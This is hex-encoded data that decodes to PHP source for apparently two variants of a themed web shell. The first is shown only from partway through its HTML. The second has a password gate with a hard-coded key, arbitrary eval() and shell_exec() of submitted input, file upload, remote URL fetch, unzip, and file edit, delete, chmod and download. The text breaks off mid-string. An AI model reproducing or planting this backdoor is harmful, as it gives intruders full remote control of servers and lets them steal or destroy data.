7620612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236130353232643b207d0d0a20202020202020200d0a20202020202020202e636f6e7461696e6572207b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6c6566742d70616e656c207b20666c65783a20313b207d0d0a20202020202020202e72696768742d70616e656c207b2077696474683a203435253b20646973706c61793a20666c65783b20666c65782d646972656374696f6e3a20636f6c756d6e3b207d0d0a20202020202020200d0a20202020202020202e63617264207b206261636b67726f756e643a20236666666166613b20626f726465723a2031707820736f6c696420236462373039333b2070616464696e673a20313570783b206d617267696e2d626f74746f6d3a20313570783b207d0d0a20202020202020202e63617264206833207b206d617267696e2d746f703a20303b20636f6c6f723a20236337313538353b20626f726465722d626f74746f6d3a2031707820736f6c696420236462373039333b2070616464696e672d626f74746f6d3a203570783b207d0d0a20202020202020200d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420236462373039333b207d0d0a20202020202020207468207b206261636b67726f756e643a20236666653465313b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20236666663066353b207d0d0a20202020202020200d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20236666663b20636f6c6f723a20233862343531333b20626f726465723a2031707820736f6c696420236462373039333b2070616464696e673a203670783b20666f6e742d66616d696c793a20696e68657269743b207d0d0a2020202020202020627574746f6e207b206261636b67726f756e643a20236462373039333b20636f6c6f723a20236666663b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b20626f726465722d7261646975733a203470783b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20233232386232323b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233461303430343b20636f6c6f723a20236630653638633b2070616464696e673a20313070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d22746f702d6e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20e59b9ee5bb8a205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e7bb9be78fa0e4bb99e99cb2205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e5ba93e688bf205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b20e7a6bbe59bad205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d22636f6e7461696e6572223e0d0a202020203c64697620636c6173733d226c6566742d70616e656c223e0d0a20202020202020203c212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d226576616c223e0d0a2020202020202020202020203c68333ef09fa9b820e7bb9be78fa0e4bb99e99cb220284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d22656c6978697222207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b27656c69786972275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee69c8d20e4b88b3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f7068702069662028246576616c5f72657320213d3d202727293a203f3e0d0a202020202020202020202020202020203c68343ee781b5e58a9be698bee78eb0efbc9a3c2f68343e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328246576616c5f726573293b203f3e3c2f7072653e0d0a2020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f939c20e88ab1e5908de5868c20283c3f706870206563686f20246375723b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de8aeb33c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236337313538353b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020202020202020202020202020203c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee4bfae3c2f613e207c0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee58f963c2f613e207c0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee5908d3c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee69d833c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e79c9fe79a84e8a681e891ace4ba86e5ae83e59097efbc9f2729223ee891ac3c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d2272696768742d70616e656c223e0d0a20202020202020203c212d2d20e5b7a5e585b7e7aeb1202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09f9ba0efb88f20e5ba93e688bfe6938de4bd9c3c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275706c6f6164223e0d0a20202020202020202020202020202020e585a5e5ba93efbc9a3c696e70757420747970653d2266696c6522206e616d653d2266696c65223e203c627574746f6e3ee694bee585a53c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2275726c646c223e0d0a2020202020202020202020202020202055524c20e58f96e789a9efbc9a3c696e70757420747970653d227465787422206e616d653d2275726c22207374796c653d2277696474683a3630253b2220706c616365686f6c6465723d2268747470733a2f2f2e2e2e223e203c627574746f6e3ee58f963c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d22756e7a6970223e0d0a20202020202020202020202020202020e8a7a3e58ca3efbc9a3c696e70757420747970653d227465787422206e616d653d227a697022207374796c653d2277696474683a3630253b223e203c627574746f6e3ee5bc803c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b646972223e20e5bbbae4baadefbc9a3c696e70757420747970653d227465787422206e616d653d226e616d65223e203c627574746f6e3ee5bbba3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b66696c65223e20e68b9fe7a8bfefbc9a3c696e70757420747970653d227465787422206e616d653d226e616d65223e203c627574746f6e3ee68b9f3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e7bb88e7abaf202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f92a820e590ace9a38ee58fb020285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee590ac3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824636d645f726573293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824636d645f726573293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b202466203d20245f4745545b27646f776e6c6f6164275d3b2069662869735f66696c652824662929207b206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b207265616466696c65282466293b20657869743b207d207d0d0a2f2f20e69fa5e79c8b0d0a69662028697373657428245f4745545b2776696577275d2929207b202466203d20245f4745545b2776696577275d3b2069662869735f66696c652824662929207b206563686f20273c64697620636c6173733d2263617264223e3c68333ee998853a20272e626173656e616d65282466292e273c2f68333e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b207d207d0d0a2f2f20e7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee4bfae3a20272e626173656e616d65282466292e273c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a202020206563686f20273c627574746f6e20747970653d227375626d6974223ee5ad983c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f6c64203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69bb4e5908d3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d226f6c64222076616c75653d22272e246f6c642e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d226e6577222076616c75653d22272e626173656e616d6528246f6c64292e27223e203c627574746f6e3ee694b93c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69d83e999903c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d2266696c65222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d226d6f6465223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee8aebe3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f8c8420e8a5bfe6b8b8e8aeb020c2b720e781b5e5b1b1e7a798e5a2830d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e7b4a7e7ae8de59292e9aa8ce8af81202d2d2d2d202a2f0d0a646566696e6528275355545241272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b277370656c6c275d2929207b0d0a2020202069662028245f504f53545b277370656c6c275d203d3d3d2053555452412920245f53455353494f4e5b276469736369706c65275d203d20313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b20657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b276469736369706c65275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee7b4a7e7ae8de592923c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a233061306132613b636f6c6f723a236666643730303b666f6e742d66616d696c793a2253544b61697469222c224b61695469222c73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020202e676174657b626f726465723a32707820736f6c696420236666643730303b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612831302c31302c34322c2e3935293b626f726465722d7261646975733a313070783b7d0d0a2020202068317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b746578742d736861646f773a302030203135707820236666643730303b7d0d0a20202020696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a236666643730303b626f726465723a31707820736f6c696420236666643730303b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a236666643730303b636f6c6f723a233061306132613b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b626f726465722d7261646975733a3570783b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d2267617465223e3c68313ef09f8c8420e781b5e5b1b1e7a798e5a2833c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d227370656c6c2220747970653d2270617373776f72642220706c616365686f6c6465723d22e5bfb5e58aa8e7b4a7e7ae8de5929222206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223ee585a520e5ae9a3c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e4b88ee59fbae7a180202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a246d7367203d2027273b0d0a0d0a2f2a202d2d2d2d20332e20e6a0b8e5bf83e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a2f2f20e4b88ae4bca00d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775706c6f6164272026262021656d70747928245f46494c45535b2766696c65275d2929207b0d0a20202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c2024637572202e20626173656e616d6528245f46494c45535b2766696c65275d5b276e616d65275d29293b0d0a7d0d0a2f2f20e696b0e5bbba0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b646972272920406d6b6469722824637572202e20245f504f53545b276e616d65275d293b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d20276d6b66696c652729204066696c655f7075745f636f6e74656e74732824637572202e20245f504f53545b276e616d65275d2c202727293b0d0a2f2f20e588a0e999a40d0a69662028697373657428245f4745545b2764656c275d2929207b202474203d20245f4745545b2764656c275d3b2069735f66696c6528247429203f2040756e6c696e6b28247429203a2040726d646972282474293b207d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202772656e616d652729204072656e616d6528245f504f53545b276f6c64275d2c20245f504f53545b276e6577275d293b0d0a2f2f20e69d83e999900d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202763686d6f642729204063686d6f6428245f504f53545b2766696c65275d2c206f637464656328245f504f53545b276d6f6465275d29293b0d0a2f2f20e7bc96e8be91e4bf9de5ad980d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027736176652729204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c65275d2c20245f504f53545b27636f6e74656e74275d293b0d0a2f2f2055524c20e4b88be8bdbd0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d202775726c646c2729207b0d0a202020202464617461203d204066696c655f6765745f636f6e74656e747328245f504f53545b2775726c275d293b0d0a2020202069662028246461746129204066696c655f7075745f636f6e74656e74732824637572202e20626173656e616d6528245f504f53545b2775726c275d292c202464617461293b0d0a7d0d0a2f2f205a495020e8a7a3e58e8b0d0a69662028697373657428245f504f53545b27616374696f6e275d2920262620245f504f53545b27616374696f6e275d203d3d2027756e7a69702720262620636c6173735f65786973747328275a697041726368697665272929207b0d0a20202020247a203d206e6577205a6970417263686976653b2069662028247a2d3e6f70656e28245f504f53545b277a6970275d29203d3d3d205452554529207b20247a2d3e65787472616374546f2824637572293b20247a2d3e636c6f736528293b207d0d0a7d0d0a2f2f204576616c20e7bdaee9a1b6e6a0b8e5bf832028e4b883e58d81e4ba8ce58f98290d0a246576616c5f726573203d2027273b0d0a69662028697373657428245f504f53545b277370656c6c5f63617374275d2929207b0d0a202020206f625f737461727428293b0d0a20202020747279207b206576616c28245f504f53545b277370656c6c5f63617374275d293b207d20636174636820285468726f7761626c6520246529207b206563686f2022e4b89ae99a9c3a2022202e2024652d3e6765744d65737361676528293b207d0d0a20202020246576616c5f726573203d206f625f6765745f636c65616e28293b0d0a7d0d0a2f2f20e591bde4bba4e689a7e8a18c2028e7ad8be69697e4ba91290d0a24636d645f726573203d2027273b0d0a69662028697373657428245f504f53545b27636c6f7564275d2929207b0d0a2020202024636d645f726573203d207368656c6c5f65786563282263642022202e206573636170657368656c6c617267282463757229202e20222026262022202e20245f504f53545b27636c6f7564275d202e202220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e69687e4bbb6e58897e8a1a8202d2d2d2d202a2f0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e64697228246375722929207b0d0a202020207768696c652028282466203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466203d3d20272e272920636f6e74696e75653b0d0a2020202020202020246670203d2024637572202e2024663b0d0a20202020202020202466696c65735b5d203d205b276e616d6527203d3e2024662c20277061746827203d3e202466702c202769735f64697227203d3e2069735f64697228246670292c0d0a20202020202020202020202020202020202020202773697a6527203d3e2069735f6469722824667029203f20272d27203a20726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c0d0a2020202020202020202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c2066696c657065726d732824667029292c202d34295d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee781b5e5b1b1e7a798e5a2833c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a202253544b61697469222c20224b61695469222c2073657269663b206261636b67726f756e643a20233061306132613b20636f6c6f723a20236530653066663b206d617267696e3a20313070783b20666f6e742d73697a653a20313470783b207d0d0a20202020202020202e6e6176207b206261636b67726f756e643a20233161316133613b20626f726465723a2031707820736f6c696420236666643730303b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6e61762061207b20636f6c6f723a20236666643730303b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e617620612e6c6f676f7574207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20236666363334373b207d0d0a20202020202020200d0a20202020202020202e636f6e7461696e6572207b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6c6566742d70616e656c207b20666c65783a20313b207d0d0a20202020202020202e72696768742d70616e656c207b2077696474683a203430253b20646973706c61793a20666c65783b20666c65782d646972656374696f6e3a20636f6c756d6e3b207d0d0a20202020202020200d0a20202020202020202e63617264207b206261636b67726f756e643a20233161316133613b20626f726465723a2031707820736f6c696420233462303038323b2070616464696e673a20313570783b206d617267696e2d626f74746f6d3a20313570783b20626f726465722d7261646975733a203570783b207d0d0a20202020202020202e63617264206833207b206d617267696e2d746f703a20303b20636f6c6f723a20236666643730303b20626f726465722d626f74746f6d3a2031707820736f6c696420233462303038323b2070616464696e672d626f74746f6d3a203570783b207d0d0a20202020202020200d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420233462303038323b207d0d0a20202020202020207468207b206261636b67726f756e643a20233261326134613b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233261326134613b207d0d0a20202020202020200d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233061306132613b20636f6c6f723a20236666643730303b20626f726465723a2031707820736f6c696420233462303038323b2070616464696e673a203670783b20666f6e742d66616d696c793a20696e68657269743b207d0d0a2020202020202020627574746f6e207b206261636b67726f756e643a20236666643730303b20636f6c6f723a20233061306132613b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b20626f726465722d7261646975733a203470783b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20233332636433323b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757229293b203f3e223e5b20e59b9ee5b1b1205d3c2f613e0d0a202020203c6120687265663d22237370656c6c223e5b20e4b883e58d81e4ba8ce58f98205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e6b395e5ae9d205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d312220636c6173733d226c6f676f7574223e5b20e587bae5b1b1205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d22636f6e7461696e6572223e0d0a202020203c64697620636c6173733d226c6566742d70616e656c223e0d0a20202020202020203c212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d227370656c6c223e0d0a2020202020202020202020203c68333ef09f8c8020e4b883e58d81e4ba8ce58f9820284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d227370656c6c5f6361737422207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b277370656c6c5f63617374275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee696bd20e5b1953c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f7068702069662028246576616c5f72657320213d3d202727293a203f3e0d0a202020202020202020202020202020203c68343ee698bee5bda2efbc9a3c2f68343e3c7072653e3c3f706870206563686f2068746d6c7370656369616c636861727328246576616c5f726573293b203f3e3c2f7072653e0d0a2020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f939c20e781b5e5b1b1e8b7afe5bc9520283c3f706870206563686f20246375723b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de58fb73c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22207374796c653d22636f6c6f723a236666643730303b223e3c3f706870206563686f2024665b276e616d65275d3b203f3e2f3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020202020202020202020202020203c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f70687020696620282169735f6469722824665b2770617468275d29293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee4bfae3c2f613e207c0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee58f963c2f613e207c0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223ee5908d3c2f613e207c0d0a2020202020202020202020202020202020202020202